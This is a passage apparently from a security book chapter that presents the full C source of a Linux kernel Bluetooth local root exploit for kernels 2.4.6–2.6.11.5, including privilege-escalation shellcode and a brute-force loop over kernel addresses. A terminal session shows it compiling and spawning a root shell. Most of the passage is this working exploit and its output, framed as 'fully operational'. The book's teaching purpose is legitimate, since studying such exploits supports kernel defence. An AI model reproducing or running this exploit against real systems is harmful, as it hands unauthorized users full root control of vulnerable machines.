should find the appropriate offset. There is nothing else left to do but present 
the fully operational exploit, which does not require entering any address 
(/CD/Chapter12/Listings/bt_brute.c): 
 
/*  
 *  Linux kernel 2.4.6-2.6.11.5 bluetooth bruteforce local root exploit 
 *  Damian Put <pucik@overflow.pl>     
 */ 
 
#include <stdio.h> 
#include <unistd.h> 
#include <sys/wait.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <sys/mman.h> 
#define SIZE 0x100000 
/* Addresses from which we start and stop searching */ 
#define START_ADDR 0xc0000000 
#define END_ADDR 0xffffffff 
 
/* Shellcode increase privileges of the current process */ 
char shellcode[] = 
"\xb8\x00\xf0\xff\xff\x31\xc9\x21\xe0\x8b\x10\x89\x8a" 
"\x80\x01\x00\x00\x31\xc9\x89\x8a\x7c\x01\x00\x00\x8b" 
"\x00\x31\xc9\x31\xd2\x89\x88\x90\x01\x00\x00\x89\x90" 
"\x8c\x01\x00\x00\xb8\xff\xff\xff\xff\xc3"; 
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/* Fake structure of the protocol */ 
struct net_proto_family { 
        int             family; 
        int             (*create)(int *sock, int protocol); 
        short           authentication; 
        short           encryption; 
        short           encrypt_net; 
        int             *owner; 
};/* Function called by the child to exploit the error with a given offset */ 
int exploit(int offset) 
{ 
        socket(PF_BLUETOOTH, SOCK_RAW, offset); 
 
        /* If it was not successful we return -1 8/ 
        if(geteuid()) 
                exit(-1); 
                 
        /* If we have root we call sh */ 
        printf("\ngeteuid() = 0!\n"); 

execl("/bin/sh", "sh", NULL); 
exit(-1); 

} 
 
int main() 
{ 
        int i; 
        int *ret; 
        pid_t pid; 
        int status; 
        char buf[SIZE]; 
        unsigned int offset; 
        struct net_proto_family *bt_proto; 
        unsigned int start; 
 
        printf("Linux kernel bluetooth local root exploit (c) 2005 Overflow.pl\n"); 
 
        bt_proto = (struct net_proto_family *) malloc(sizeof(struct net_proto_family)); 
        memset(bt_proto, 0, sizeof(struct net_proto_family)); 
        bt_proto->create = (int*)shellcode; 
 
        /* We fill in the whole buffer with the right address */ 
        ret = (int*)buf; 
        for(i = 0; i < SIZE; i+=4, ret++) 
                *ret = (int)bt_proto; 
 
        /* We start our search from 0xc0000000 */ 
        start = START_ADDR; 
 
        /* We search till we have checked the whole range */ 
        while(start < END_ADDR) 
        { 

 
/* We calculate the offset */ 

                offset = (start - (unsigned int)&buf)/4; 
                offset = -offset; 
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                pid = fork(); 
                /* If we are a child, we exploit the kernel */ 
                if(!pid) 
                    exploit(offset); 
                /* As a parent we wait for termination of the child action */ 
                waitpid(pid, &status, 0); 
                /* If it didn’t terminate action through signal  
                that is has not been killed by the kernel */ 
                if(WIFEXITED(status)) 
                /* If it didn’t return -1 */ 
                        if(WEXITSTATUS(status) != 255) 
                        /* We end the loops because we started sh */ 
                                break; 
                /* We increase the address and check further */ 
                start += SIZE; 
                putchar('.'); 
                fflush(stdout); 
        } 
 
        return 0; 
} 

 
We shall check to see if it indeed works: 
 

 
We already managed to hit the right address after four attempts. On other 
systems the number could be much greater. However, we can be sure that if 
the kernel is “full of holes” our exploit will work, independent of the 
bt_proto[] table address. 
 
The system kernel is indeed “full of holes” and probably will remain that way 
for a long time. Just look at the statistics. In just the two first months, several 
errors were found in the system kernel itself. Each of these errors could cause 
the system to freeze or be used to increase rights. It is worth keeping up-to-
date on what is happening on the discussion lists. This will help to maintain 
an optimal security level, not least for our own system. 

bash-2.05b$ gcc -o bt_brute bt_brute.c 
bash-2.05b$ ./bt_brute 
.... 
geteuid() = 0! 
sh-2.05b# id 
uid=0(root) gid=0(root) 
sh-2.05b# exit 
exit 
bash-2.05b$  
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